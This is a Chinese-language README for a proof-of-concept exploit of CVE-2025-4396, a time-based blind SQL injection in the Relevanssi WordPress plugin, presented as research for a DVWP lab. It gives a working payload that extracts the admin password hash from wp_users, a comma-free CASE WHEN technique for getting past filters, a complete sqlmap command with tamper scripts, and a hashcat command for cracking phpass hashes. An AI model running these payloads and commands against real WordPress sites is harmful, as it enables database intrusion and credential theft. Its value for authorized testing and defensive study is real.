CVE-2025-4396 — Relevanssi SQL注入(时间型盲注)
免责声明: 本仓库仅供授权的渗透测试、安全研究和教育目的使用。未经授权访问计算机系统是非法的且不道德的行为。
概述
一个针对WordPress插件Relevanssi 4.24.4中时间型盲SQL注入漏洞的概念验证利用。该实现特别解决了以下加固环境中的问题:
- 逗号被过滤 — 破坏了标准的
SUBSTR(str, pos, len)和IF(cond, true, false)语法
- 贪婪睡眠行为 — 导致MySQL在评估完整表达式之前执行
SLEEP(),产生误报
背景
在某些环境(例如DVWP实验室)中,标准SQL注入载荷因两个关键原因而失败:
| 问题 | 影响 |
|---|
| 逗号剥离 | 破坏SUBSTR(str, pos, len)和IF(cond, true, false) |
贪婪SLEEP() | MySQL在完整布尔表达式之前评估sleep,导致误报 |
这两个问题都需要有针对性的解决方案——下面介绍的手动和自动化方法均可解决。
手动利用(asy.py)
一个提供精确逐字符提取的异步Python脚本。避免自动化工具开销,并通过CASE WHEN逻辑绕过逗号过滤。
特性
| 特性 | 实现 |
|---|
| 异步I/O | aiohttp用于非阻塞请求 |
| 无逗号载荷 | SUBSTR(str FROM pos FOR len)语法 |
核心注入逻辑
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
为什么使用CASE WHEN而不是IF()?
IF()使用逗号且容易受到贪婪评估的影响。CASE WHEN惰性评估,确保SLEEP()仅在条件为真时触发。
自动化利用(SQLMap)
SQLMap可以使用特定的篡改脚本和标志自动发现此环境中的漏洞。
命令
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
标志参考
关于--threads=1的说明: 这对可靠提取至关重要。多线程会导致睡眠延迟重叠,破坏二分查找的时序,产生乱码输出。
实验室发现
破解哈希
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- 模式
-m 400 针对phpass哈希
- 攻击模式
-a 0 是使用rockyou.txt的纯字典攻击
参考